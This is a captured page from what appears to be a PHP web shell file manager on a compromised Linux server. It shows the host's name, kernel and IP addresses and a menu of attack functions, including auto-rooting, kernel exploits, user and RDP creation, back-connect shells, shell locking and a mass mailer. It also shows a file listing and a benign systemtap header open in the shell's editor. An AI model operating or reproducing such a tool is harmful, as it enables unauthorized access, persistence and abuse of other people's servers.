Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.54
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
dyninst /
[ HOME SHELL ]
Name
Size
Permission
Action
addr-map.c
525
B
-rw-r--r--
alloc.c
1.16
KB
-rw-r--r--
arith.c
2.24
KB
-rw-r--r--
common_session_state.h
6.76
KB
-rw-r--r--
copy.c
4
KB
-rw-r--r--
debug.h
413
B
-rw-r--r--
ilog2.h
2.87
KB
-rw-r--r--
io.c
4.43
KB
-rw-r--r--
linux_defs.h
5.58
KB
-rw-r--r--
linux_hash.h
1.83
KB
-rw-r--r--
linux_types.h
654
B
-rw-r--r--
loc2c-runtime.h
2.44
KB
-rw-r--r--
map_list.h
1.03
KB
-rw-r--r--
map_runtime.h
5.04
KB
-rw-r--r--
namespaces.h
0
B
-rw-r--r--
offptr.h
4.68
KB
-rw-r--r--
offset_list.h
4.32
KB
-rw-r--r--
perf.c
0
B
-rw-r--r--
print.c
2.37
KB
-rw-r--r--
probe_lock.h
1.81
KB
-rw-r--r--
regs.c
2.14
KB
-rw-r--r--
runtime.h
9.49
KB
-rw-r--r--
runtime_context.h
6.4
KB
-rw-r--r--
runtime_defines.h
235
B
-rw-r--r--
session_attributes.c
1.68
KB
-rw-r--r--
session_attributes.h
772
B
-rw-r--r--
shm.c
6.03
KB
-rw-r--r--
stapdyn.h
3.37
KB
-rw-r--r--
stat_runtime.h
1.79
KB
-rw-r--r--
sym.c
40
B
-rw-r--r--
task_finder.c
0
B
-rw-r--r--
timer.c
2.71
KB
-rw-r--r--
transport.c
30.4
KB
-rw-r--r--
transport.h
3.88
KB
-rw-r--r--
unwind.c
0
B
-rw-r--r--
uprobes-regs.c
1.94
KB
-rw-r--r--
uprobes.c
1.76
KB
-rw-r--r--
uprobes.h
953
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : loc2c-runtime.h
/* target operations in the Dyninst mode * Copyright (C) 2012, 2016 Red Hat Inc. * * This file is part of systemtap, and is free software. You can * redistribute it and/or modify it under the terms of the GNU General * Public License (GPL); either version 2, or (at your option) any * later version. */ #ifndef _STAPDYN_LOC2C_RUNTIME_H_ #define _STAPDYN_LOC2C_RUNTIME_H_ #include "../loc2c-runtime.h" #define __get_user_asm(x, addr, err, itype, rtype, ltype, errret) \ (err) = __get_user((x), (typeof(x)*)(uintptr_t)(addr)) #define __put_user_asm(x, addr, err, itype, rtype, ltype, errret) \ (err) = __put_user((x), (typeof(x)*)(uintptr_t)(addr)) #define u_fetch_register(regno) \ pt_regs_fetch_register(c->uregs, regno) #define u_store_register(regno, value) \ pt_regs_store_register(c->uregs, regno, value) #if defined(__i386__) // The kernel's way of getting esp doesn't work as an lvalue #undef pt_dwarf_register_4 #define pt_dwarf_register_4(regs) regs->esp #endif #define _stp_deref_nofault(value, size, addr, seg) \ __copy_from_user((void *)&(value), (void *)(addr), (size_t)(size)) #define uread(ptr) ({ \ typeof(*(ptr)) _v = 0; \ if (__copy_from_user((void *)&_v, (void *)(ptr), sizeof(*(ptr)))) \ DEREF_FAULT(ptr); \ _v; \ }) #define uwrite(ptr, value) ({ \ typeof(*(ptr)) _v; \ _v = (typeof(*(ptr)))(value); \ if (__copy_to_user((void *)(ptr), (void *)&_v, sizeof(*(ptr)))) \ STORE_DEREF_FAULT(ptr); \ }) #define uderef(size, addr) ({ \ intptr_t _i = 0; \ switch (size) { \ case 1: _i = uread((u8 *)(uintptr_t)(addr)); break; \ case 2: _i = uread((u16 *)(uintptr_t)(addr)); break; \ case 4: _i = uread((u32 *)(uintptr_t)(addr)); break; \ case 8: _i = uread((u64 *)(uintptr_t)(addr)); break; \ default: __get_user_bad(); \ } \ _i; \ }) #define store_uderef(size, addr, value) ({ \ switch (size) { \ case 1: uwrite((u8 *)(uintptr_t)(addr), (value)); break; \ case 2: uwrite((u16 *)(uintptr_t)(addr), (value)); break; \ case 4: uwrite((u32 *)(uintptr_t)(addr), (value)); break; \ case 8: uwrite((u64 *)(uintptr_t)(addr), (value)); break; \ default: __put_user_bad(); \ } \ }) /* We still need to clean the runtime more before these can go away... */ #define kread uread #define kwrite uwrite #define kderef uderef #define store_kderef store_uderef #endif /* _STAPDYN_LOC2C_RUNTIME_H_ */
Close